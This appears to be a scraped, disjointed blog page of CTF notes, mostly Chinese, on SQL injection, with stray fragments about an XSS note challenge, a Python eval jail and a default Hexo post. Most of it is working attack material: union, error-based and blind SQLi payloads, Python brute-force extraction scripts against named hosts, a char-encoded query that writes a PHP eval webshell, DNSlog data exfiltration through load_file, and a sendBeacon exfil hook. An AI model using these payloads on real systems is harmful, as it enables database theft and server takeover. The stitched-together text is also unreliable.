{"username":"skat","password":"\" union select username,password from users where username=\"skat\"#"}
LameNote
1 2 3 4 5 6 7 8
Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}
Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)
nc lamenote-adminbot.chal.irisc.tf 10300
Hint! Please redownload if you downloaded server files at the start of the event.
there is always response 200, so seems like not this
Got idea: In our resourse need make bot to create a new note with content irisctf{a and with img url to any webhook, then in iframe open the /search?query=irisctf{a
if there is only our note matches then server will open our note and request to our webhook
if there is more than 1 note with “irisctf{a” then response will be just urls of notes, no request to webhook, so we can extract the symbol of flag
def my_filter(input_code): for x in blacklist_words: if x in input_code: return False return True
while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65: input_code = eval(f"f'{input_code}'") else: print("Player! Please obey the filter rules which I set!")
for i inrange(len(opponent_choice)): d = p.recv() p.sendline(str(opponent_choice[i]).encode()) r = p.recv() score = re.findall(r'你的分数: (.*?)\n',d.decode()) if score != []: print(score[0]+'/260') time.sleep(0.05)
d = p.recv() print(d.decode()) p.sendline(b'2') r = p.recv() print(r.decode()) score = re.findall(r'你的分数: (.*?)\n',d.decode()) if score != []: print(score[0]+'/260')
let sent = false; function hook() { if (sent) return; sent = true;
const e = new Error(); navigator.sendBeacon(HOOK_URL, e.stack); } document.getElementById = hook; </script> </body>
1 2 3 4 5 6
Error at HTMLDocument.hook [as getElementById] (http://47.108.69.229/?id{aaa111}:11:13) at eval (eval at G (:3:1641), <anonymous>:4:22) at P.<anonymous> (pptr:evaluateHandle;WaitTask.rerun (/ASIS{d1d-y0u-m4k3-pupp733r-cry-4n-3rr0r-6u35f5}/node_modules/puppeteer-core/lib/cjs/puppeteer/common/WaitTask.js:80:54):4:36) at P.start (pptr:internal:3:3734) at pptr:evaluate;WaitTask.rerun (/ASIS{d1d-y0u-m4k3-pupp733r-cry-4n-3rr0r-6u35f5}/node_modules/puppeteer-core/lib/cjs/puppeteer/common/WaitTask.js:110:32):2:29
ASIS{d1d-y0u-m4k3-pupp733r-cry-4n-3rr0r-6u35f5}
gimme csp(warmup):
绕过csp——-iframe标签
1 2 3 4 5 6
hint for beginners: read about CSPs and Iframes and what features they can offer that you can use to bypass or exfiltrate things. The challenge isn't easy if you are new to CTFs or don't have much experience however it should be the easiest web challenge.
group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。
group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
1 2 3
?id=0’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+ /*拆解出来就是下面的语句*/ concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x
通过关键字join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。
下面演示如何通过join…using来获取列名:
1 2 3 4 5 6 7 8
# 获取第一列的列名: 1' union select * from (select * from users as a join users as b)as c#
# 使用using()依次获取后续的列名 1' union all select * from (select * from users as a join users b using(id))c# 1' union all select * from (select * from users as a join users b using(id,username))c# 1' union all select * from (select * from users as a join users b using(id,username,password))c# # 数据库中as主要作用是起别名, 常规来说as都可以省略,但是为了增加可读性, 不建议省略
payload = "' or ascii(substr((select database()),{0},1)) in({1})--+" flag = '' if __name__ == "__main__": for i in range(1, 100): for j in range(37,128): url = "http://b8e2048e-3513-42ad-868d-44dbb1fba5ac.node3.buuoj.cn/Less-8/?id=' or ascii(substr((select database()),{0},1)) in({1})--+".format(i,j) r = requests.get(url=url) if "You are in" in r.text: flag += chr(j) print(flag)
/?id=' or database() like 's%' --+ /?id=' or (select database()) like 's%' --+ 或者: /?id=' or database() like 's_______' --+ /?id=' or (select database()) like 's_______' --+
payload = "' or (select database()) like '{}%'--+"
if __name__ == "__main__": name = '' for i in range(1, 40): char = '' for j in strs: payloads = payload.format(name + j) urls = url + payloads r = requests.get(urls) if "You are in" in r.text: name += j print(j, end='') char = j break if char == '#': break
payload = "' or (select database()) regexp '^{}'--+"
if __name__ == "__main__": name = '' for i in range(1, 40): char = '' for j in strs: payloads = payload.format(name + j) urls = url + payloads r = requests.get(urls) if "You are in" in r.text: name += j print(j, end='') char = j break if char == '#': break
set @sql=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(39),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(119),char(104),char(111),char(97),char(109),char(105),char(93),char(41),char(59),char(63),char(62),char(39),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(39),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(115),char(104),char(101),char(108),char(108),char(46),char(112),char(104),char(112),char(39),char(59));prepare s1 from @sql;execute s1;
也可以不用concat函数,直接用char函数也具有连接功能:
1
set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,119,104,111,97,109,105,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare s1 from @sql;execute s1;
过滤逗号绕过
当逗号被过滤了之后,我们便不能向下面这样正常的时候substr()函数和limit语句了:
1 2
select substr((select database()),1,1); select * from users limit 0,1;
select substr((select database()) from 1 for 1); # 此时 from 1 for 1 中的两个1分别代替 substr() 函数里的两个1
select substr((select database()) from 1 for 1); # s select substr((select database()) from 2 for 1); # e select substr((select database()) from 3 for 1); # c select substr((select database()) from 4 for 1); # u select substr((select database()) from 5 for 1); # r select substr((select database()) from 6 for 1); # i select substr((select database()) from 7 for 1); # t select substr((select database()) from 8 for 1); # y
# 如果过滤了空格, 则可以使用括号来代替空格: select substr((select database())from(1)for(1)); # s select substr((select database())from(2)for(1)); # e select substr((select database())from(3)for(1)); # c select substr((select database())from(4)for(1)); # u select substr((select database())from(5)for(1)); # r select substr((select database())from(6)for(1)); # i select substr((select database())from(7)for(1)); # t select substr((select database())from(8)for(1)); # y
即,from用来指定从何处开始截取,for用来指定截取的长度,如果不加for的话则 from 1 就相当于从字符串的第一位一直截取到最后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
select substr((select database()) from 1); # security select substr((select database()) from 2); # ecurity select substr((select database()) from 3); # curity select substr((select database()) from 4); # urity select substr((select database()) from 5); # rity select substr((select database()) from 6); # ity select substr((select database()) from 7); # ty select substr((select database()) from 8); # y
select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));
select * from user where id = -1 union all select 1,2,3,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();
function filter($str){ $filter = "/ |*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){ die("you can't input this illegal char!"); } return $str; }
function show($username){ global $conn; $sql = "select role from `user` where username ='".$username."'"; $res = $conn ->query($sql); if($res->num_rows>0){ echo "$username is ".$res->fetch_assoc()['role']; }else{ die("Don't have this user!"); } }
function login($username,$passwd){ global $conn; global $flag; $username = trim(strtolower($username)); $passwd = trim(strtolower($passwd)); if($username == 'admin'){ die("you can't login this as admin!"); } $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'"; $res = $conn ->query($sql); if($res->num_rows>0){ if($res->fetch_assoc()['role'] === 'admin') exit($flag); }else{ echo "sorry,username or passwd error!"; } } function source(){ highlight_file(__FILE__); } $username = isset($_POST['username'])?filter($_POST['username']):""; $passwd = isset($_POST['passwd'])?filter($_POST['passwd']):""; $action = isset($_GET['action'])?filter($_GET['action']):"source";
switch($action){ case "source": source(); break ; case "login" : login($username,$passwd);break; case "show" : show($username);break; }
for i in range(1,33): for str in "abcdefghijklmnopkrstuvwxyz": url = "http://cc248a80-6376-49cf-b846-16c188eeb1fc.node3.buuoj.cn/Less-8/?id='^(mid((select database())from(-{0}))='{1}')='1".format(i,str+flag) res = requests.get(url=url) if "You are in..........." in res.text: flag = str+flag print(flag)
?id=1 and load_file(concat('//', database(),'.htleyd.dnslog.cn/abc')) ?id=1 and load_file(concat('//', (select table_name from information_schema.tables where table_schema=database() limit 0,1 ),'.htleyd.dnslog.cn/abc')) ?id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name=’admin’ and table_schema=database() limit 2,1),'.htleyd.dnslog.cn/abc')) ?id=1 and load_file(concat('//',(select password from admin limit 0,1),'.htleyd.dnslog.cn/abc'))
‘“.md5($pass,true).”‘ 登录绕过
很多站点为了安全都会利用这样的语句:
1
SELECT * FROM users WHERE password = '.md5($password,true).';
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数(这类似于PHP的弱类型)。要注意的是这种情况是必须要有单引号括起来的,比如 password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于 password=‘xxx’ or true,所以返回值就是true。这里不只是1开头,只要是数字开头都是可以的。当然如果只有数字的话,就不需要单引号,比如 password=‘xxx’ or 1,那么返回值也是 true。(xxx指代任意字符)
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.